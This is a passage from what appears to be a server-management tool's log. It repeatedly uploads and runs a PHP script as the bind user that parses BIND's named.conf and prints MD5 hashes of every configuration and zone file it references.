			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:19:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp689544; rm /tmp/pkp689544'

2026-04-25 19:19:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:19:36: Establishing a connection
2026-04-25 19:19:36: 

PUT: /tmp/pkp150960

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:19:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp150960; rm /tmp/pkp150960'

2026-04-25 19:19:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
